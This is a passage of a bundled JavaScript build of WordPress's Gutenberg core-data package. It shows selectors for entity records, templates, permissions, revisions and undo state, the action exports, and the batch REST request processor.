15570 getTemplateId: () => getTemplateId,
15571 getUndoManager: () => getUndoManager,
15572 isCollaborationSupported: () => isCollaborationSupported
15573 });
15574 var import_data9 = __toESM(require_data(), 1);
15575
15576 // packages/core-data/build-module/utils/log-entity-deprecation.mjs
15577 var import_deprecated = __toESM(require_deprecated(), 1);
15578 var loggedAlready = false;
15579 function logEntityDeprecation(kind, name, functionName, {
15580 alternativeFunctionName,
15581 isShorthandSelector = false
15582 } = {}) {
15583 const deprecation = deprecatedEntities[kind]?.[name];
15584 if (!deprecation) {
15585 return;
15586 }
15587 if (!loggedAlready) {
15588 const { alternative } = deprecation;
15589 const message = isShorthandSelector ? `'${functionName}'` : `The '${kind}', '${name}' entity (used via '${functionName}')`;
15590 let alternativeMessage = `the '${alternative.kind}', '${alternative.name}' entity`;
15591 if (alternativeFunctionName) {
15592 alternativeMessage += ` via the '${alternativeFunctionName}' function`;
15593 }
15594 (0, import_deprecated.default)(message, {
15595 ...deprecation,
15596 alternative: alternativeMessage
15597 });
15598 }
15599 loggedAlready = true;
15600 setTimeout(() => {
15601 loggedAlready = false;
15602 }, 0);
15603 }
15604
15605 // packages/core-data/build-module/private-selectors.mjs
15606 function getUndoManager(state) {
15607 return getSyncManager()?.undoManager ?? state.undoManager;
15608 }
15609 function getNavigationFallbackId(state) {
15610 return state.navigationFallbackId;
15611 }
15612 var getBlockPatternsForPostType = (0, import_data9.createRegistrySelector)(
15613 (select5) => (0, import_data9.createSelector)(
15614 (state, postType) => select5(STORE_NAME).getBlockPatterns().filter(
15615 ({ postTypes }) => !postTypes || Array.isArray(postTypes) && postTypes.includes(postType)
15616 ),
15617 () => [select5(STORE_NAME).getBlockPatterns()]
15618 )
15619 );
15620 var getEntityRecordsPermissions = (0, import_data9.createRegistrySelector)(
15621 (select5) => (0, import_data9.createSelector)(
15622 (state, kind, name, ids) => {
15623 const normalizedIds = Array.isArray(ids) ? ids : [ids];
15624 return normalizedIds.map((id2) => ({
15625 delete: select5(STORE_NAME).canUser("delete", {
15626 kind,
15627 name,
15628 id: id2
15629 }),
15630 update: select5(STORE_NAME).canUser("update", {
15631 kind,
15632 name,
15633 id: id2
15634 })
15635 }));
15636 },
15637 (state) => [state.userPermissions]
15638 )
15639 );
15640 function getEntityRecordPermissions(state, kind, name, id2) {
15641 logEntityDeprecation(kind, name, "getEntityRecordPermissions");
15642 return getEntityRecordsPermissions(state, kind, name, id2)[0];
15643 }
15644 function getRegisteredPostMeta(state, postType) {
15645 return state.registeredPostMeta?.[postType] ?? {};
15646 }
15647 function normalizePageId(value) {
15648 if (!value || !["number", "string"].includes(typeof value)) {
15649 return null;
15650 }
15651 if (Number(value) === 0) {
15652 return null;
15653 }
15654 return value.toString();
15655 }
15656 var getHomePage = (0, import_data9.createRegistrySelector)(
15657 (select5) => (0, import_data9.createSelector)(
15658 () => {
15659 const siteData = select5(STORE_NAME).getEntityRecord(
15660 "root",
15661 "__unstableBase"
15662 );
15663 if (!siteData) {
15664 return null;
15665 }
15666 const homepageId = siteData?.show_on_front === "page" ? normalizePageId(siteData.page_on_front) : null;
15667 if (homepageId) {
15668 return { postType: "page", postId: homepageId };
15669 }
15670 const frontPageTemplateId = select5(
15671 STORE_NAME
15672 ).getDefaultTemplateId({
15673 slug: "front-page"
15674 });
15675 if (!frontPageTemplateId) {
15676 return null;
15677 }
15678 return { postType: "wp_template", postId: frontPageTemplateId };
15679 },
15680 (state) => [
15681 // Even though getDefaultTemplateId.shouldInvalidate returns true when root/site changes,
15682 // it doesn't seem to invalidate this cache, I'm not sure why.
15683 getEntityRecord(state, "root", "site"),
15684 getEntityRecord(state, "root", "__unstableBase"),
15685 getDefaultTemplateId(state, {
15686 slug: "front-page"
15687 })
15688 ]
15689 )
15690 );
15691 var getPostsPageId = (0, import_data9.createRegistrySelector)((select5) => () => {
15692 const siteData = select5(STORE_NAME).getEntityRecord(
15693 "root",
15694 "__unstableBase"
15695 );
15696 return siteData?.show_on_front === "page" ? normalizePageId(siteData.page_for_posts) : null;
15697 });
15698 var getTemplateId = (0, import_data9.createRegistrySelector)(
15699 (select5) => (state, postType, postId) => {
15700 const homepage = unlock2(select5(STORE_NAME)).getHomePage();
15701 if (!homepage) {
15702 return;
15703 }
15704 if (postType === "page" && postType === homepage?.postType && postId.toString() === homepage?.postId) {
15705 const templates = select5(STORE_NAME).getEntityRecords(
15706 "postType",
15707 "wp_template",
15708 {
15709 per_page: -1
15710 }
15711 );
15712 if (!templates) {
15713 return;
15714 }
15715 const id2 = templates.find(({ slug }) => slug === "front-page")?.id;
15716 if (id2) {
15717 return id2;
15718 }
15719 }
15720 const editedEntity = select5(STORE_NAME).getEditedEntityRecord(
15721 "postType",
15722 postType,
15723 postId
15724 );
15725 if (!editedEntity) {
15726 return;
15727 }
15728 const postsPageId = unlock2(select5(STORE_NAME)).getPostsPageId();
15729 if (postType === "page" && postsPageId === postId.toString()) {
15730 return select5(STORE_NAME).getDefaultTemplateId({
15731 slug: "home"
15732 });
15733 }
15734 const currentTemplateSlug = editedEntity.template;
15735 if (currentTemplateSlug) {
15736 const currentTemplate = select5(STORE_NAME).getEntityRecords("postType", "wp_template", {
15737 per_page: -1
15738 })?.find(({ slug }) => slug === currentTemplateSlug);
15739 if (currentTemplate) {
15740 return currentTemplate.id;
15741 }
15742 }
15743 let slugToCheck;
15744 if (editedEntity.slug) {
15745 slugToCheck = postType === "page" ? `${postType}-${editedEntity.slug}` : `single-${postType}-${editedEntity.slug}`;
15746 } else {
15747 slugToCheck = postType === "page" ? "page" : `single-${postType}`;
15748 }
15749 return select5(STORE_NAME).getDefaultTemplateId({
15750 slug: slugToCheck
15751 });
15752 }
15753 );
15754 function getEditorSettings(state) {
15755 return state.editorSettings;
15756 }
15757 function getEditorAssets(state) {
15758 return state.editorAssets;
15759 }
15760 function isCollaborationSupported(state) {
15761 return state.collaborationSupported;
15762 }
15763 function getSyncConnectionStatus(state) {
15764 if (!state.syncConnectionStatuses) {
15765 return void 0;
15766 }
15767 const PRIORITIZED_STATUSES = ["disconnected", "connecting", "connected"];
15768 let coalesced;
15769 for (const status of Object.values(state.syncConnectionStatuses)) {
15770 if (!coalesced || PRIORITIZED_STATUSES.indexOf(status.status) < PRIORITIZED_STATUSES.indexOf(coalesced.status)) {
15771 coalesced = status;
15772 }
15773 }
15774 return coalesced;
15775 }
15776
15777 // packages/core-data/build-module/selectors.mjs
15778 var EMPTY_OBJECT = {};
15779 var isRequestingEmbedPreview = (0, import_data10.createRegistrySelector)(
15780 (select5) => (state, url) => {
15781 return select5(STORE_NAME).isResolving("getEmbedPreview", [
15782 url
15783 ]);
15784 }
15785 );
15786 function getAuthors(state, query) {
15787 (0, import_deprecated2.default)("select( 'core' ).getAuthors()", {
15788 since: "5.9",
15789 alternative: "select( 'core' ).getUsers({ who: 'authors' })"
15790 });
15791 const path = (0, import_url2.addQueryArgs)(
15792 "/wp/v2/users/?who=authors&per_page=100",
15793 query
15794 );
15795 return getUserQueryResults(state, path);
15796 }
15797 function getCurrentUser(state) {
15798 return state.currentUser;
15799 }
15800 var getUserQueryResults = (0, import_data10.createSelector)(
15801 (state, queryID) => {
15802 const queryResults = state.users.queries[queryID] ?? [];
15803 return queryResults.map((id2) => state.users.byId[id2]);
15804 },
15805 (state, queryID) => [
15806 state.users.queries[queryID],
15807 state.users.byId
15808 ]
15809 );
15810 function getEntitiesByKind(state, kind) {
15811 (0, import_deprecated2.default)("wp.data.select( 'core' ).getEntitiesByKind()", {
15812 since: "6.0",
15813 alternative: "wp.data.select( 'core' ).getEntitiesConfig()"
15814 });
15815 return getEntitiesConfig(state, kind);
15816 }
15817 var getEntitiesConfig = (0, import_data10.createSelector)(
15818 (state, kind) => state.entities.config.filter((entity2) => entity2.kind === kind),
15819 /* eslint-disable @typescript-eslint/no-unused-vars */
15820 (state, kind) => state.entities.config
15821 /* eslint-enable @typescript-eslint/no-unused-vars */
15822 );
15823 function getEntity(state, kind, name) {
15824 (0, import_deprecated2.default)("wp.data.select( 'core' ).getEntity()", {
15825 since: "6.0",
15826 alternative: "wp.data.select( 'core' ).getEntityConfig()"
15827 });
15828 return getEntityConfig(state, kind, name);
15829 }
15830 function getEntityConfig(state, kind, name) {
15831 logEntityDeprecation(kind, name, "getEntityConfig");
15832 return state.entities.config?.find(
15833 (config) => config.kind === kind && config.name === name
15834 );
15835 }
15836 var getEntityRecord = (0, import_data10.createSelector)(
15837 ((state, kind, name, key, query) => {
15838 logEntityDeprecation(kind, name, "getEntityRecord");
15839 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
15840 if (!queriedState) {
15841 return void 0;
15842 }
15843 const context = query?.context ?? "default";
15844 if (!query || !query._fields) {
15845 if (!queriedState.itemIsComplete[context]?.[key]) {
15846 return void 0;
15847 }
15848 return queriedState.items[context][key];
15849 }
15850 const item = queriedState.items[context]?.[key];
15851 if (!item) {
15852 return item;
15853 }
15854 const filteredItem = {};
15855 const fields = get_normalized_comma_separable_default(query._fields) ?? [];
15856 for (let f = 0; f < fields.length; f++) {
15857 const field = fields[f].split(".");
15858 let value = item;
15859 field.forEach((fieldName) => {
15860 value = value?.[fieldName];
15861 });
15862 setNestedValue(filteredItem, field, value);
15863 }
15864 return filteredItem;
15865 }),
15866 (state, kind, name, recordId, query) => {
15867 const context = query?.context ?? "default";
15868 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
15869 return [
15870 queriedState?.items[context]?.[recordId],
15871 queriedState?.itemIsComplete[context]?.[recordId]
15872 ];
15873 }
15874 );
15875 getEntityRecord.__unstableNormalizeArgs = (args2) => {
15876 const newArgs = [...args2];
15877 const recordKey = newArgs?.[2];
15878 newArgs[2] = isNumericID(recordKey) ? Number(recordKey) : recordKey;
15879 return newArgs;
15880 };
15881 function hasEntityRecord(state, kind, name, key, query) {
15882 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
15883 if (!queriedState) {
15884 return false;
15885 }
15886 const context = query?.context ?? "default";
15887 if (!query || !query._fields) {
15888 return !!queriedState.itemIsComplete[context]?.[key];
15889 }
15890 const item = queriedState.items[context]?.[key];
15891 if (!item) {
15892 return false;
15893 }
15894 const fields = get_normalized_comma_separable_default(query._fields) ?? [];
15895 for (let i = 0; i < fields.length; i++) {
15896 const path = fields[i].split(".");
15897 let value = item;
15898 for (let p = 0; p < path.length; p++) {
15899 const part = path[p];
15900 if (!value || !Object.hasOwn(value, part)) {
15901 return false;
15902 }
15903 value = value[part];
15904 }
15905 }
15906 return true;
15907 }
15908 function __experimentalGetEntityRecordNoResolver(state, kind, name, key) {
15909 return getEntityRecord(state, kind, name, key);
15910 }
15911 var getRawEntityRecord = (0, import_data10.createSelector)(
15912 (state, kind, name, key) => {
15913 logEntityDeprecation(kind, name, "getRawEntityRecord");
15914 const record = getEntityRecord(
15915 state,
15916 kind,
15917 name,
15918 key
15919 );
15920 return record && Object.keys(record).reduce((accumulator, _key) => {
15921 if (isRawAttribute(getEntityConfig(state, kind, name), _key)) {
15922 accumulator[_key] = record[_key]?.raw !== void 0 ? record[_key]?.raw : record[_key];
15923 } else {
15924 accumulator[_key] = record[_key];
15925 }
15926 return accumulator;
15927 }, {});
15928 },
15929 (state, kind, name, recordId, query) => {
15930 const context = query?.context ?? "default";
15931 return [
15932 state.entities.config,
15933 state.entities.records?.[kind]?.[name]?.queriedData?.items[context]?.[recordId],
15934 state.entities.records?.[kind]?.[name]?.queriedData?.itemIsComplete[context]?.[recordId]
15935 ];
15936 }
15937 );
15938 function hasEntityRecords(state, kind, name, query) {
15939 logEntityDeprecation(kind, name, "hasEntityRecords");
15940 return Array.isArray(getEntityRecords(state, kind, name, query));
15941 }
15942 var getEntityRecords = ((state, kind, name, query) => {
15943 logEntityDeprecation(kind, name, "getEntityRecords");
15944 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
15945 if (!queriedState) {
15946 return null;
15947 }
15948 return getQueriedItems(queriedState, query);
15949 });
15950 var getEntityRecordsTotalItems = (state, kind, name, query) => {
15951 logEntityDeprecation(kind, name, "getEntityRecordsTotalItems");
15952 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
15953 if (!queriedState) {
15954 return null;
15955 }
15956 return getQueriedTotalItems(queriedState, query);
15957 };
15958 var getEntityRecordsTotalPages = (state, kind, name, query) => {
15959 logEntityDeprecation(kind, name, "getEntityRecordsTotalPages");
15960 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
15961 if (!queriedState) {
15962 return null;
15963 }
15964 if (query?.per_page === -1) {
15965 return 1;
15966 }
15967 const totalItems = getQueriedTotalItems(queriedState, query);
15968 if (!totalItems) {
15969 return totalItems;
15970 }
15971 if (!query?.per_page) {
15972 return getQueriedTotalPages(queriedState, query);
15973 }
15974 return Math.ceil(totalItems / query.per_page);
15975 };
15976 var __experimentalGetDirtyEntityRecords = (0, import_data10.createSelector)(
15977 (state) => {
15978 const {
15979 entities: { records }
15980 } = state;
15981 const dirtyRecords = [];
15982 Object.keys(records).forEach((kind) => {
15983 Object.keys(records[kind]).forEach((name) => {
15984 const primaryKeys = Object.keys(records[kind][name].edits).filter(
15985 (primaryKey) => (
15986 // The entity record must exist (not be deleted),
15987 // and it must have edits.
15988 getEntityRecord(state, kind, name, primaryKey) && hasEditsForEntityRecord(state, kind, name, primaryKey)
15989 )
15990 );
15991 if (primaryKeys.length) {
15992 const entityConfig = getEntityConfig(state, kind, name);
15993 primaryKeys.forEach((primaryKey) => {
15994 const entityRecord = getEditedEntityRecord(
15995 state,
15996 kind,
15997 name,
15998 primaryKey
15999 );
16000 dirtyRecords.push({
16001 // We avoid using primaryKey because it's transformed into a string
16002 // when it's used as an object key.
16003 key: entityRecord ? entityRecord[entityConfig.key || DEFAULT_ENTITY_KEY] : void 0,
16004 title: entityConfig?.getTitle?.(entityRecord) || "",
16005 name,
16006 kind
16007 });
16008 });
16009 }
16010 });
16011 });
16012 return dirtyRecords;
16013 },
16014 (state) => [state.entities.records]
16015 );
16016 var __experimentalGetEntitiesBeingSaved = (0, import_data10.createSelector)(
16017 (state) => {
16018 const {
16019 entities: { records }
16020 } = state;
16021 const recordsBeingSaved = [];
16022 Object.keys(records).forEach((kind) => {
16023 Object.keys(records[kind]).forEach((name) => {
16024 const primaryKeys = Object.keys(records[kind][name].saving).filter(
16025 (primaryKey) => isSavingEntityRecord(state, kind, name, primaryKey)
16026 );
16027 if (primaryKeys.length) {
16028 const entityConfig = getEntityConfig(state, kind, name);
16029 primaryKeys.forEach((primaryKey) => {
16030 const entityRecord = getEditedEntityRecord(
16031 state,
16032 kind,
16033 name,
16034 primaryKey
16035 );
16036 recordsBeingSaved.push({
16037 // We avoid using primaryKey because it's transformed into a string
16038 // when it's used as an object key.
16039 key: entityRecord ? entityRecord[entityConfig.key || DEFAULT_ENTITY_KEY] : void 0,
16040 title: entityConfig?.getTitle?.(entityRecord) || "",
16041 name,
16042 kind
16043 });
16044 });
16045 }
16046 });
16047 });
16048 return recordsBeingSaved;
16049 },
16050 (state) => [state.entities.records]
16051 );
16052 function getEntityRecordEdits(state, kind, name, recordId) {
16053 logEntityDeprecation(kind, name, "getEntityRecordEdits");
16054 return state.entities.records?.[kind]?.[name]?.edits?.[recordId];
16055 }
16056 var getEntityRecordNonTransientEdits = (0, import_data10.createSelector)(
16057 (state, kind, name, recordId) => {
16058 logEntityDeprecation(kind, name, "getEntityRecordNonTransientEdits");
16059 const { transientEdits } = getEntityConfig(state, kind, name) || {};
16060 const edits = getEntityRecordEdits(state, kind, name, recordId) || {};
16061 if (!transientEdits) {
16062 return edits;
16063 }
16064 return Object.keys(edits).reduce((acc, key) => {
16065 if (!transientEdits[key]) {
16066 acc[key] = edits[key];
16067 }
16068 return acc;
16069 }, {});
16070 },
16071 (state, kind, name, recordId) => [
16072 state.entities.config,
16073 state.entities.records?.[kind]?.[name]?.edits?.[recordId]
16074 ]
16075 );
16076 function hasEditsForEntityRecord(state, kind, name, recordId) {
16077 logEntityDeprecation(kind, name, "hasEditsForEntityRecord");
16078 return isSavingEntityRecord(state, kind, name, recordId) || Object.keys(
16079 getEntityRecordNonTransientEdits(state, kind, name, recordId)
16080 ).length > 0;
16081 }
16082 var getEditedEntityRecord = (0, import_data10.createSelector)(
16083 (state, kind, name, recordId) => {
16084 logEntityDeprecation(kind, name, "getEditedEntityRecord");
16085 const raw = getRawEntityRecord(state, kind, name, recordId);
16086 const edited = getEntityRecordEdits(state, kind, name, recordId);
16087 if (!raw && !edited) {
16088 return false;
16089 }
16090 return {
16091 ...raw,
16092 ...edited
16093 };
16094 },
16095 (state, kind, name, recordId, query) => {
16096 const context = query?.context ?? "default";
16097 return [
16098 state.entities.config,
16099 state.entities.records?.[kind]?.[name]?.queriedData.items[context]?.[recordId],
16100 state.entities.records?.[kind]?.[name]?.queriedData.itemIsComplete[context]?.[recordId],
16101 state.entities.records?.[kind]?.[name]?.edits?.[recordId]
16102 ];
16103 }
16104 );
16105 function isAutosavingEntityRecord(state, kind, name, recordId) {
16106 logEntityDeprecation(kind, name, "isAutosavingEntityRecord");
16107 const { pending, isAutosave } = state.entities.records?.[kind]?.[name]?.saving?.[recordId] ?? {};
16108 return Boolean(pending && isAutosave);
16109 }
16110 function isSavingEntityRecord(state, kind, name, recordId) {
16111 logEntityDeprecation(kind, name, "isSavingEntityRecord");
16112 return state.entities.records?.[kind]?.[name]?.saving?.[recordId]?.pending ?? false;
16113 }
16114 function isDeletingEntityRecord(state, kind, name, recordId) {
16115 logEntityDeprecation(kind, name, "isDeletingEntityRecord");
16116 return state.entities.records?.[kind]?.[name]?.deleting?.[recordId]?.pending ?? false;
16117 }
16118 function getLastEntitySaveError(state, kind, name, recordId) {
16119 logEntityDeprecation(kind, name, "getLastEntitySaveError");
16120 return state.entities.records?.[kind]?.[name]?.saving?.[recordId]?.error;
16121 }
16122 function getLastEntityDeleteError(state, kind, name, recordId) {
16123 logEntityDeprecation(kind, name, "getLastEntityDeleteError");
16124 return state.entities.records?.[kind]?.[name]?.deleting?.[recordId]?.error;
16125 }
16126 function getUndoEdit(state) {
16127 (0, import_deprecated2.default)("select( 'core' ).getUndoEdit()", {
16128 since: "6.3"
16129 });
16130 return void 0;
16131 }
16132 function getRedoEdit(state) {
16133 (0, import_deprecated2.default)("select( 'core' ).getRedoEdit()", {
16134 since: "6.3"
16135 });
16136 return void 0;
16137 }
16138 function hasUndo(state) {
16139 return getUndoManager(state).hasUndo();
16140 }
16141 function hasRedo(state) {
16142 return getUndoManager(state).hasRedo();
16143 }
16144 function getCurrentTheme(state) {
16145 if (!state.currentTheme) {
16146 return null;
16147 }
16148 return getEntityRecord(state, "root", "theme", state.currentTheme);
16149 }
16150 function __experimentalGetCurrentGlobalStylesId(state) {
16151 return state.currentGlobalStylesId;
16152 }
16153 function getThemeSupports(state) {
16154 return getCurrentTheme(state)?.theme_supports ?? EMPTY_OBJECT;
16155 }
16156 function getEmbedPreview(state, url) {
16157 return state.embedPreviews[url];
16158 }
16159 function isPreviewEmbedFallback(state, url) {
16160 const preview = state.embedPreviews[url];
16161 const oEmbedLinkCheck = '<a href="' + url + '">' + url + "</a>";
16162 if (!preview) {
16163 return false;
16164 }
16165 return preview.html === oEmbedLinkCheck;
16166 }
16167 function canUser(state, action, resource, id2) {
16168 const isEntity = typeof resource === "object";
16169 if (isEntity && (!resource.kind || !resource.name)) {
16170 return false;
16171 }
16172 if (isEntity) {
16173 logEntityDeprecation(resource.kind, resource.name, "canUser");
16174 }
16175 const key = getUserPermissionCacheKey(action, resource, id2);
16176 return state.userPermissions[key];
16177 }
16178 function canUserEditEntityRecord(state, kind, name, recordId) {
16179 (0, import_deprecated2.default)(`wp.data.select( 'core' ).canUserEditEntityRecord()`, {
16180 since: "6.7",
16181 alternative: `wp.data.select( 'core' ).canUser( 'update', { kind, name, id } )`
16182 });
16183 return canUser(state, "update", { kind, name, id: recordId });
16184 }
16185 function getAutosaves(state, postType, postId) {
16186 return state.autosaves[postId];
16187 }
16188 function getAutosave(state, postType, postId, authorId) {
16189 if (authorId === void 0) {
16190 return;
16191 }
16192 const autosaves2 = state.autosaves[postId];
16193 return autosaves2?.find(
16194 (autosave) => autosave.author === authorId
16195 );
16196 }
16197 var hasFetchedAutosaves = (0, import_data10.createRegistrySelector)(
16198 (select5) => (state, postType, postId) => {
16199 return select5(STORE_NAME).hasFinishedResolution("getAutosaves", [
16200 postType,
16201 postId
16202 ]);
16203 }
16204 );
16205 function getReferenceByDistinctEdits(state) {
16206 return state.editsReference;
16207 }
16208 function __experimentalGetCurrentThemeBaseGlobalStyles(state) {
16209 const currentTheme2 = getCurrentTheme(state);
16210 if (!currentTheme2) {
16211 return null;
16212 }
16213 return state.themeBaseGlobalStyles[currentTheme2.stylesheet];
16214 }
16215 function __experimentalGetCurrentThemeGlobalStylesVariations(state) {
16216 const currentTheme2 = getCurrentTheme(state);
16217 if (!currentTheme2) {
16218 return null;
16219 }
16220 return state.themeGlobalStyleVariations[currentTheme2.stylesheet];
16221 }
16222 function getBlockPatterns(state) {
16223 return state.blockPatterns;
16224 }
16225 function getBlockPatternCategories(state) {
16226 return state.blockPatternCategories;
16227 }
16228 function getUserPatternCategories(state) {
16229 return state.userPatternCategories;
16230 }
16231 function getCurrentThemeGlobalStylesRevisions(state) {
16232 (0, import_deprecated2.default)("select( 'core' ).getCurrentThemeGlobalStylesRevisions()", {
16233 since: "6.5.0",
16234 alternative: "select( 'core' ).getRevisions( 'root', 'globalStyles', ${ recordKey } )"
16235 });
16236 const currentGlobalStylesId2 = __experimentalGetCurrentGlobalStylesId(state);
16237 if (!currentGlobalStylesId2) {
16238 return null;
16239 }
16240 return state.themeGlobalStyleRevisions[currentGlobalStylesId2];
16241 }
16242 function getDefaultTemplateId(state, query) {
16243 return state.defaultTemplates[JSON.stringify(query)];
16244 }
16245 var getRevisions = (state, kind, name, recordKey, query) => {
16246 logEntityDeprecation(kind, name, "getRevisions");
16247 const queriedStateRevisions = state.entities.records?.[kind]?.[name]?.revisions?.[recordKey];
16248 if (!queriedStateRevisions) {
16249 return null;
16250 }
16251 return getQueriedItems(queriedStateRevisions, query);
16252 };
16253 var getRevision = (0, import_data10.createSelector)(
16254 (state, kind, name, recordKey, revisionKey, query) => {
16255 logEntityDeprecation(kind, name, "getRevision");
16256 const queriedState = state.entities.records?.[kind]?.[name]?.revisions?.[recordKey];
16257 if (!queriedState) {
16258 return void 0;
16259 }
16260 const context = query?.context ?? "default";
16261 if (!query || !query._fields) {
16262 if (!queriedState.itemIsComplete[context]?.[revisionKey]) {
16263 return void 0;
16264 }
16265 return queriedState.items[context][revisionKey];
16266 }
16267 const item = queriedState.items[context]?.[revisionKey];
16268 if (!item) {
16269 return item;
16270 }
16271 const filteredItem = {};
16272 const fields = get_normalized_comma_separable_default(query._fields) ?? [];
16273 for (let f = 0; f < fields.length; f++) {
16274 const field = fields[f].split(".");
16275 let value = item;
16276 field.forEach((fieldName) => {
16277 value = value?.[fieldName];
16278 });
16279 setNestedValue(filteredItem, field, value);
16280 }
16281 return filteredItem;
16282 },
16283 (state, kind, name, recordKey, revisionKey, query) => {
16284 const context = query?.context ?? "default";
16285 const queriedState = state.entities.records?.[kind]?.[name]?.revisions?.[recordKey];
16286 return [
16287 queriedState?.items?.[context]?.[revisionKey],
16288 queriedState?.itemIsComplete?.[context]?.[revisionKey]
16289 ];
16290 }
16291 );
16292
16293 // packages/core-data/build-module/actions.mjs
16294 var actions_exports = {};
16295 __export(actions_exports, {
16296 __experimentalBatch: () => __experimentalBatch,
16297 __experimentalReceiveCurrentGlobalStylesId: () => __experimentalReceiveCurrentGlobalStylesId,
16298 __experimentalReceiveThemeBaseGlobalStyles: () => __experimentalReceiveThemeBaseGlobalStyles,
16299 __experimentalReceiveThemeGlobalStyleVariations: () => __experimentalReceiveThemeGlobalStyleVariations,
16300 __experimentalSaveSpecifiedEntityEdits: () => __experimentalSaveSpecifiedEntityEdits,
16301 __unstableCreateUndoLevel: () => __unstableCreateUndoLevel,
16302 addEntities: () => addEntities,
16303 clearEntityRecordEdits: () => clearEntityRecordEdits,
16304 deleteEntityRecord: () => deleteEntityRecord,
16305 editEntityRecord: () => editEntityRecord,
16306 receiveAutosaves: () => receiveAutosaves,
16307 receiveCurrentTheme: () => receiveCurrentTheme,
16308 receiveCurrentUser: () => receiveCurrentUser,
16309 receiveDefaultTemplateId: () => receiveDefaultTemplateId,
16310 receiveEmbedPreview: () => receiveEmbedPreview,
16311 receiveEntityRecords: () => receiveEntityRecords,
16312 receiveNavigationFallbackId: () => receiveNavigationFallbackId,
16313 receiveRevisions: () => receiveRevisions,
16314 receiveThemeGlobalStyleRevisions: () => receiveThemeGlobalStyleRevisions,
16315 receiveThemeSupports: () => receiveThemeSupports,
16316 receiveUploadPermissions: () => receiveUploadPermissions,
16317 receiveUserPermission: () => receiveUserPermission,
16318 receiveUserPermissions: () => receiveUserPermissions,
16319 receiveUserQuery: () => receiveUserQuery,
16320 redo: () => redo,
16321 saveEditedEntityRecord: () => saveEditedEntityRecord,
16322 saveEntityRecord: () => saveEntityRecord,
16323 undo: () => undo
16324 });
16325 var import_es67 = __toESM(require_es6(), 1);
16326 var import_api_fetch4 = __toESM(require_api_fetch(), 1);
16327 var import_url3 = __toESM(require_url(), 1);
16328 var import_deprecated3 = __toESM(require_deprecated(), 1);
16329
16330 // packages/core-data/build-module/batch/default-processor.mjs
16331 var import_api_fetch3 = __toESM(require_api_fetch(), 1);
16332 var maxItems = null;
16333 function chunk(arr, chunkSize) {
16334 const tmp = [...arr];
16335 const cache3 = [];
16336 while (tmp.length) {
16337 cache3.push(tmp.splice(0, chunkSize));
16338 }
16339 return cache3;
16340 }
16341 async function defaultProcessor(requests) {
16342 if (maxItems === null) {
16343 const preflightResponse = await (0, import_api_fetch3.default)({
16344 path: "/batch/v1",
16345 method: "OPTIONS"
16346 });
16347 maxItems = preflightResponse.endpoints[0].args.requests.maxItems;
16348 }
16349 const results = [];
16350 for (const batchRequests of chunk(requests, maxItems)) {
16351 const batchResponse = await (0, import_api_fetch3.default)({
16352 path: "/batch/v1",
16353 method: "POST",
16354 data: {
16355 validation: "require-all-validate",
16356 requests: batchRequests.map((request) => ({
16357 path: request.path,
16358 body: request.data,
16359 // Rename 'data' to 'body'.
16360 method: request.method,
16361 headers: request.headers
16362 }))
16363 }
16364 });
16365 let batchResults;
16366 if (batchResponse.failed) {
16367 batchResults = batchResponse.responses.map((response) => ({
16368 error: response?.body
16369 }));
16370 } else {
16371 batchResults = batchResponse.responses.map((response) => {
16372 const result = {};
16373 if (response.status >= 200 && response.status < 300) {
16374 result.output = response.body;
16375 } else {
16376 result.error = response.body;
16377 }
16378 return result;
16379 });
16380 }
16381 results.push(...batchResults);
16382 }
16383 return results;
16384 }
16385
16386 // packages/core-data/build-module/batch/create-batch.mjs
16387 function createBatch(processor = defaultProcessor) {
16388 let lastId = 0;
16389 let queue = [];
16390 const pending = new ObservableSet();
16391 return {
16392 /**
16393 * Adds an input to the batch and returns a promise that is resolved or
16394 * rejected when the input is processed by `batch.run()`.
16395 *
16396 * You may also pass a thunk which allows inputs to be added
16397 * asynchronously.
16398 *
16399 * ```
16400 * // Both are allowed:
16401 * batch.add( { path: '/v1/books', ... } );
16402 * batch.add( ( add ) => add( { path: '/v1/books', ... } ) );
16403 * ```
16404 *
16405 * If a thunk is passed, `batch.run()` will pause until either:
16406 *
16407 * - The thunk calls its `add` argument, or;
16408 * - The thunk returns a promise and that promise resolves, or;
16409 * - The thunk returns a non-promise.
16410 *
16411 * @param {any|Function} inputOrThunk Input to add or thunk to execute.
16412 *
16413 * @return {Promise|any} If given an input, returns a promise that
16414 * is resolved or rejected when the batch is
16415 * processed. If given a thunk, returns the return
16416 * value of that thunk.
16417 */
16418 add(inputOrThunk) {
16419 const id2 = ++lastId;
16420 pending.add(id2);
16421 const add = (input) => new Promise((resolve, reject) => {
16422 queue.push({
16423 input,
16424 resolve,
16425 reject
16426 });
16427 pending.delete(id2);
16428 });
16429 if (typeof inputOrThunk === "function") {
16430 return Promise.resolve(inputOrThunk(add)).finally(() => {
16431 pending.delete(id2);
16432 });
16433 }
16434 return add(inputOrThunk);
16435 },
16436 /**
16437 * Runs the batch. This calls `batchProcessor` and resolves or rejects
16438 * all promises returned by `add()`.
16439 *
16440 * @return {Promise<boolean>} A promise that resolves to a boolean that is true
16441 * if the processor returned no errors.
16442 */
16443 async run() {
16444 if (pending.size) {
16445 await new Promise((resolve) => {
16446 const unsubscribe = pending.subscribe(() => {
16447 if (!pending.size) {
16448 unsubscribe();
16449 resolve(void 0);
16450 }
16451 });
16452 });
16453 }
16454 let results;
16455 try {
16456 results = await processor(
16457 queue.map(({ input }) => input)
16458 );
16459 if (results.length !== queue.length) {
16460 throw new Error(
16461 "run: Array returned by processor must be same size as input array."
16462 );
16463 }
16464 } catch (error) {
16465 for (const { reject } of queue) {
16466 reject(error);
16467 }
16468 throw error;
16469 }
16470 let isSuccess = true;
16471 results.forEach((result, key) => {
16472 const queueItem = queue[key];
16473 if (result?.error) {
16474 queueItem?.reject(result.error);
16475 isSuccess = false;
16476 } else {
16477 queueItem?.resolve(result?.output ?? result);
16478 }
16479 });
16480 queue = [];
16481 return isSuccess;
16482 }
16483 };
16484 }
16485 var ObservableSet = class {
16486 constructor(...args2) {
16487 this.set = new Set(...args2);
16488 this.subscribers = /* @__PURE__ */ new Set();
16489 }
16490 get size() {
16491 return this.set.size;
16492 }
16493 add(value) {
16494 this.set.add(value);
16495 this.subscribers.forEach((subscriber) => subscriber());
16496 return this;
16497 }
16498 delete(value) {
16499 const isSuccess = this.set.delete(value);
16500 this.subscribers.forEach((subscriber) => subscriber());
